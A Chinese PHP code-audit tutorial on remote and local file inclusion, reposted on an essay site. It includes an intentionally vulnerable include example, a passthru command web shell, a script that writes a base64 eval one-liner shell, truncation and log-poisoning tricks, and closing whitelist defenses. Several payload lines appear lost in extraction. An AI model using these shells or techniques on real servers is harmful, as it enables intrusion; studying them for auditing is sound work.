700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > php代码审计文件包含 PHP代码审计之远程文件包含(RFI)

php代码审计文件包含 PHP代码审计之远程文件包含(RFI)

时间:2019-09-05 00:56:04

相关推荐

php代码审计文件包含 PHP代码审计之远程文件包含(RFI)

有位叫做普瑞斯特的大牛针对PHP的web应用列出了下面几种攻击方式:

1.命令注入(CommandInjection)2.eval注入(EvalInjection)3.客户端脚本攻击(ScriptInsertion)4.跨网站脚本攻击(CrossSiteScripting,XSS)5.SQL注入攻击(SQLinjection)6.跨网站请求伪造攻击(CrossSiteRequestForgeries,CSRF)7.Session会话劫持(SessionHijacking)8.Session固定攻击(SessionFixation)9.HTTP响应拆分攻击(HTTPResponseSplitting)10.文件上传漏洞(FileUploadAttack)11.目录穿越漏洞(DirectoryTraversal)12.远程文件包含攻击(RemoteInclusion)13.动态函数注入攻击(DynamicVariableEvaluation)14.URL攻击(URLattack)15.表单提交欺骗攻击(SpoofedFormSubmissions)16.HTTP请求欺骗攻击(SpoofedHTTPRequests)

如此之多的PHP漏洞,各个击破第一讲,叫做《PHP代码审计之远程文件包含》。

二、原理

远程文件包含涉及到的PHP函数有:include()、require()、include_once()、require_once()

这4个函数的区别如下:

Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但PHP脚本继续运行。

Require:包含并运行指定文件,当包含外部文件发生错误时,会报出一个fatalerror,则PHP脚本停止运行。

Include_once:在脚本执行期间包含并运行指定文件。此行为和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。

Require_once:在脚本执行期间包含并运行指定文件。此行为和require()语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含。

为什么需要文件包含呢?因为程序员写程序的时候不喜欢做同样的事情,同样的代码也不喜欢写好几次。于是就把需要公用的代码写到一个文件里面。最典型的如数据库的配置信息写入到config.php文件中,然后在其它文件中包含调用。而上面4个函数就是被设计出来达到这个目的的。这本身并没有什么问题,但是如果去包含任意文件时,对这个文件来源过滤不严,就可以包含一个恶意的文件。从而造成文件包含漏洞。

有的时候可能不确定要包含哪个文件,例如:

if($_GET["page"])

{

include$_GET["page"];

}

else

{

include"home.php";

}

?>

使用格式如下:

这段代码是通过$_GET[“page”]这个变量来指定要包含的文件。若$_GET[“page”]为空则包含home.php。而$_GET[“page”]未做任何过滤,直接包含GET过来的信息。

三、利用方法

1,读取本地文件

若我们提交下面的连接,包含一个本地不存在的文件。Helen.php

则系统给出警告。并且爆出绝对路径:D:\WWW\test\index.php

我们多长尝试包含其他文件,也可以利用../../来进行目录跳转,也可以直接指定绝对路径来获取敏感的系统文件。如:

2,执行系统命令

如果目标主机的“allow_url_fopen”选项为on。我们就可以指定其他url上的一个包含php代码的文件来直接运行.比如我放在宅男帮网站上的这个文件/test/shell.txt

后缀名不重要,只要是php格式就行了。

if(get_magic_quotes_gpc())

{

$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);

}

ini_set("max_execution_time",0);//设定针对这个文件的执行时间,0为不限制。

passthru($_REQUEST["cmd"]);

?>

以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行。把这个文件保存在我们的服务器上。(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了。

接下来我们就可以执行系统命令了。

可能你在别的文章中见过这样通过?Cmd=这种方式执行命令。我之前也是这样做的,但是报错。

通过post提交又可以执行命令

后来问了下大仲,说可能是整过包含的文件要给page变量赋值,如果在url有两个?会误认为是给cmd这个参数赋值。应该改成&。

于是写成这样:

另外说下php提供了system(),exec(),passthru()这几个函数来调用外部的命令。他们的区别:system()输出并返回最后一行shell结果。exec()不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。passthru()只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。相同点:都可以获得命令执行的状态码

3,写入一句话

例如我在宅男帮网站写的eval.txt文件

$fp=fopen("info.php","w+");

$shell=base64_decode("PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz4=");

fputs($fp,$shell);

fclose($fp);

?>

利用方法:

成功后会在test目录下生成一个info.php,内容为:

四、细节拓展

可能有的程序员代码这么写:

if($_GET["page"])

{

include$_GET["page"].'.php';

}

else

{

include"home.php";

}

?>

这样就限制了包含的文件必须是以.php为后缀。如果我们继续提交刚才的链接

那么服务器会给我们返回如下的内容:

Warning:include(/test/eval.txt.php)[function.include]:failedtoopenstream:HTTPrequestfailed!HTTP/1.1404NotFoundinD:\WWW\test\index.phponline4Warning:include()[function.include]:Failedopening'/test/eval.txt.php'forinclusion(include_path='.;C:\php5\pear')inD:\WWW\test\index.phponline4

若php.ini中allow_url_include为on:

(1)%零零来截断

这时我们可以包含一个远程的文件并在目标服务器写入一句话木马。

注:需要magic_quotes_gpc=Off,php5.3.4以后已经修复了漏洞

(2)?截断

直接提交

这样截断的原理是:是把.php当做参数传递给eval.txt

(3)使用data://或php://input,提交如下内容:

Base64解码后为:

(4)通过使路径长度达到一定长度限制时截断

通常Windows的截断长度为240,Linux的截断长度为4096

用\.或者./或者\或者/截断

若php.ini文件中allow_url_include为off。

(1)我们可以包含本地文件。

(2)包含日志文件

之前有人提供了一个很好的思路,就是访问带有一句话的连接,用长字符填充url使服务器出错,然后错误信息会记录在error.log中。然后在包含本地的错误日志文件。以此来写入shell。但是我提交一句话后左尖括号被转义为

不知道怎么才能绕过,于是病急乱投医。到各个群都问了一圈,无果。后来基友说,我是不是被实体了,最好用burpsuite试试。再后来经测试,还是不行。过了一会基友说,你用访问日志看看。于是乎就有了下文。

过程如下:

如果我提交一个左尖括号这时看到的访问日志的信息是

127.0.0.1--[15/May/:15:16:50+0800]"GET/index.php?page=

然后我用AWVS自带的httpeditor提交

/index.php?page=

发现双引号(“)被转义了,于是用单引号(‘)。

/index.php?page=

接下来包含日志文件,成功写入shell。

五,本地文件包含小技巧

Php有个特性,就是我们向任意php页面发包上传文件都会在tmp目录生成临时文件,文件名前缀为php加3个或3个以上的随机大小写字母加数字。(如:php51B2.tmp)并且存在时间只有一瞬间。而php在windows下有个bug,就是能使用<

因此我们可以先上传一个php文件,然后去包含它的临时文件。

为了能够显示清除整过过程,我把index.php文件修改成:

if($_GET["page"])

{

include$_GET["page"].'.php';

}

else

{

include"home.php";

}

print_r($_FILES);

?>

然后新建一个upload.html文件,代码如下:

《formname="frmUpload"method="post"action="http://localhost/index.php"enctype="multipart/form-data">

《inputtype="file"name="myfile"/>

《inputtype="submit"name="mysub"value="upload"/>

接下来上传一个php文件。通过print_r($_FILES)来打印出临时文件地址。

然后我们可以利用<

六.漏洞修补与防御

关于漏洞的修补与防御,我们也许需要依赖php.ini文件。设置magic_quotes_gpc=On,allow_url_fopen=Off,allow_url_include=Off。

这样可以抵御大多数真的文件包含漏洞的攻击。但是有些web应用程序必须要开启或关闭某些配置才能使用。比如dz要设置allow_url_fopen=On才能自动升级。这样通过配置文件来抵御攻击的这种措施就显得有点鸡肋。那么我们就得从跟本上来解决包含漏洞的问题。想想漏洞产生的原因是什么。是因为我们对变量过滤不严。那么我们就对变量进行过滤。一种较为安全的做法是采用”白名单”的方式将允许包含的文件列出来。只允许包含白名单中的文件,这样就可以避免任意文件包含的风险。可以参考如下代码:

$file=str_replace('/','',$_GET["page"]);

//去掉参数中的/

switch($file)

{

case'head';

case'foot';

case'main';

include'/include/'.$file.'php';

break;

default:

include'home.php';

}

?>

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。